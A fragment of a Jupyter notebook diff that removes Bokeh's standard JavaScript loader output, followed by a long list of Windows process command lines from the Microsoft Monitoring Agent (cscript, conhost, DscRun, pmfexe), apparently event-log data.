" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "\n", - "(function(root) {\n", - " function now() {\n", - " return new Date();\n", - " }\n", - "\n", - " var force = true;\n", - "\n", - " if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n", - " root._bokeh_onload_callbacks = [];\n", - " root._bokeh_is_loading = undefined;\n", - " }\n", - "\n", - " var JS_MIME_TYPE = 'application/javascript';\n", - " var HTML_MIME_TYPE = 'text/html';\n", - " var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n", - " var CLASS_NAME = 'output_bokeh rendered_html';\n", - "\n", - " /**\n", - " * Render data to the DOM node\n", - " */\n", - " function render(props, node) {\n", - " var script = document.createElement(\"script\");\n", - " node.appendChild(script);\n", - " }\n", - "\n", - " /**\n", - " * Handle when an output is cleared or removed\n", - " */\n", - " function handleClearOutput(event, handle) {\n", - " var cell = handle.cell;\n", - "\n", - " var id = cell.output_area._bokeh_element_id;\n", - " var server_id = cell.output_area._bokeh_server_id;\n", - " // Clean up Bokeh references\n", - " if (id != null && id in Bokeh.index) {\n", - " Bokeh.index[id].model.document.clear();\n", - " delete Bokeh.index[id];\n", - " }\n", - "\n", - " if (server_id !== undefined) {\n", - " // Clean up Bokeh references\n", - " var cmd = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n", - " cell.notebook.kernel.execute(cmd, {\n", - " iopub: {\n", - " output: function(msg) {\n", - " var id = msg.content.text.trim();\n", - " if (id in Bokeh.index) {\n", - " Bokeh.index[id].model.document.clear();\n", - " delete Bokeh.index[id];\n", - " }\n", - " }\n", - " }\n", - " });\n", - " // Destroy server and session\n", - " var cmd = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n", - " cell.notebook.kernel.execute(cmd);\n", - " }\n", - " }\n", - "\n", - " /**\n", - " * Handle when a new output is added\n", - " */\n", - " function handleAddOutput(event, handle) {\n", - " var output_area = handle.output_area;\n", - " var output = handle.output;\n", - "\n", - " // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n", - " if ((output.output_type != \"display_data\") || (!output.data.hasOwnProperty(EXEC_MIME_TYPE))) {\n", - " return\n", - " }\n", - "\n", - " var toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n", - "\n", - " if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n", - " toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n", - " // store reference to embed id on output_area\n", - " output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n", - " }\n", - " if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n", - " var bk_div = document.createElement(\"div\");\n", - " bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n", - " var script_attrs = bk_div.children[0].attributes;\n", - " for (var i = 0; i < script_attrs.length; i++) {\n", - " toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n", - " toinsert[toinsert.length - 1].firstChild.textContent = bk_div.children[0].textContent\n", - " }\n", - " // store reference to server id on output_area\n", - " output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n", - " }\n", - " }\n", - "\n", - " function register_renderer(events, OutputArea) {\n", - "\n", - " function append_mime(data, metadata, element) {\n", - " // create a DOM node to render to\n", - " var toinsert = this.create_output_subarea(\n", - " metadata,\n", - " CLASS_NAME,\n", - " EXEC_MIME_TYPE\n", - " );\n", - " this.keyboard_manager.register_events(toinsert);\n", - " // Render to node\n", - " var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n", - " render(props, toinsert[toinsert.length - 1]);\n", - " element.append(toinsert);\n", - " return toinsert\n", - " }\n", - "\n", - " /* Handle when an output is cleared or removed */\n", - " events.on('clear_output.CodeCell', handleClearOutput);\n", - " events.on('delete.Cell', handleClearOutput);\n", - "\n", - " /* Handle when a new output is added */\n", - " events.on('output_added.OutputArea', handleAddOutput);\n", - "\n", - " /**\n", - " * Register the mime type and append_mime function with output_area\n", - " */\n", - " OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n", - " /* Is output safe? */\n", - " safe: true,\n", - " /* Index of renderer in `output_area.display_order` */\n", - " index: 0\n", - " });\n", - " }\n", - "\n", - " // register the mime type if in Jupyter Notebook environment and previously unregistered\n", - " if (root.Jupyter !== undefined) {\n", - " var events = require('base/js/events');\n", - " var OutputArea = require('notebook/js/outputarea').OutputArea;\n", - "\n", - " if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n", - " register_renderer(events, OutputArea);\n", - " }\n", - " }\n", - "\n", - " \n", - " if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n", - " root._bokeh_timeout = Date.now() + 5000;\n", - " root._bokeh_failed_load = false;\n", - " }\n", - "\n", - " var NB_LOAD_WARNING = {'data': {'text/html':\n", - " \"
\\n\"+\n", - " \"

\\n\"+\n", - " \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n", - " \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n", - " \"

\\n\"+\n", - " \"
    \\n\"+\n", - " \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n", - " \"
  • use INLINE resources instead, as so:
    • \\n\"+\n", - " \"
\\n\"+\n", - " \"\\n\"+\n", - " \"from bokeh.resources import INLINE\\n\"+\n", - " \"output_notebook(resources=INLINE)\\n\"+\n", - " \"\\n\"+\n", - " \"
\"}};\n", - "\n", - " function display_loaded() {\n", - " var el = document.getElementById(\"1625\");\n", - " if (el != null) {\n", - " el.textContent = \"BokehJS is loading...\";\n", - " }\n", - " if (root.Bokeh !== undefined) {\n", - " if (el != null) {\n", - " el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n", - " }\n", - " } else if (Date.now() < root._bokeh_timeout) {\n", - " setTimeout(display_loaded, 100)\n", - " }\n", - " }\n", - "\n", - "\n", - " function run_callbacks() {\n", - " try {\n", - " root._bokeh_onload_callbacks.forEach(function(callback) {\n", - " if (callback != null)\n", - " callback();\n", - " });\n", - " } finally {\n", - " delete root._bokeh_onload_callbacks\n", - " }\n", - " console.debug(\"Bokeh: all callbacks have finished\");\n", - " }\n", - "\n", - " function load_libs(css_urls, js_urls, callback) {\n", - " if (css_urls == null) css_urls = [];\n", - " if (js_urls == null) js_urls = [];\n", - "\n", - " root._bokeh_onload_callbacks.push(callback);\n", - " if (root._bokeh_is_loading > 0) {\n", - " console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n", - " return null;\n", - " }\n", - " if (js_urls == null || js_urls.length === 0) {\n", - " run_callbacks();\n", - " return null;\n", - " }\n", - " console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n", - " root._bokeh_is_loading = css_urls.length + js_urls.length;\n", - "\n", - " function on_load() {\n", - " root._bokeh_is_loading--;\n", - " if (root._bokeh_is_loading === 0) {\n", - " console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n", - " run_callbacks()\n", - " }\n", - " }\n", - "\n", - " function on_error() {\n", - " console.error(\"failed to load \" + url);\n", - " }\n", - "\n", - " for (var i = 0; i < css_urls.length; i++) {\n", - " var url = css_urls[i];\n", - " const element = document.createElement(\"link\");\n", - " element.onload = on_load;\n", - " element.onerror = on_error;\n", - " element.rel = \"stylesheet\";\n", - " element.type = \"text/css\";\n", - " element.href = url;\n", - " console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n", - " document.body.appendChild(element);\n", - " }\n", - "\n", - " const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n", - "\n", - " for (var i = 0; i < js_urls.length; i++) {\n", - " var url = js_urls[i];\n", - " var element = document.createElement('script');\n", - " element.onload = on_load;\n", - " element.onerror = on_error;\n", - " element.async = false;\n", - " element.src = url;\n", - " if (url in hashes) {\n", - " element.crossOrigin = \"anonymous\";\n", - " element.integrity = \"sha384-\" + hashes[url];\n", - " }\n", - " console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n", - " document.head.appendChild(element);\n", - " }\n", - " };\n", - "\n", - " function inject_raw_css(css) {\n", - " const element = document.createElement(\"style\");\n", - " element.appendChild(document.createTextNode(css));\n", - " document.body.appendChild(element);\n", - " }\n", - "\n", - " \n", - " var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n", - " var css_urls = [];\n", - " \n", - "\n", - " var inline_js = [\n", - " function(Bokeh) {\n", - " Bokeh.set_log_level(\"info\");\n", - " },\n", - " function(Bokeh) {\n", - " \n", - " \n", - " }\n", - " ];\n", - "\n", - " function run_inline_js() {\n", - " \n", - " if (root.Bokeh !== undefined || force === true) {\n", - " \n", - " for (var i = 0; i < inline_js.length; i++) {\n", - " inline_js[i].call(root, root.Bokeh);\n", - " }\n", - " if (force === true) {\n", - " display_loaded();\n", - " }} else if (Date.now() < root._bokeh_timeout) {\n", - " setTimeout(run_inline_js, 100);\n", - " } else if (!root._bokeh_failed_load) {\n", - " console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n", - " root._bokeh_failed_load = true;\n", - " } else if (force !== true) {\n", - " var cell = $(document.getElementById(\"1625\")).parents('.cell').data().cell;\n", - " cell.output_area.append_execute_result(NB_LOAD_WARNING)\n", - " }\n", - "\n", - " }\n", - "\n", - " if (root._bokeh_is_loading === 0) {\n", - " console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n", - " run_inline_js();\n", - " } else {\n", - " load_libs(css_urls, js_urls, function() {\n", - " console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n", - " run_inline_js();\n", - " });\n", - " }\n", - "}(window));" - ], - "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"
    \\n\"+\n \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n \"
  • use INLINE resources instead, as so:
    • \\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
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/nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\CMF/DesiredStateConfiguration\\\\DscRun.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\work\\\\localhost.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\work\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\CMF-64/DesiredStateConfiguration\\\\DscRun.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\work\\\\Registry.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\work\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\CMF/DesiredStateConfiguration\\\\DscRun.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\work\\\\localhost.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\work\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\Resources\\\\884\\\\pmfexe.exe\\\" -PerfMode optimize -quickscan -event -json -alldetectors\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\Resources\\\\884\\\\pmfexe.exe\\\" -PerfMode optimize -quickscan -event -json -alldetectors\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 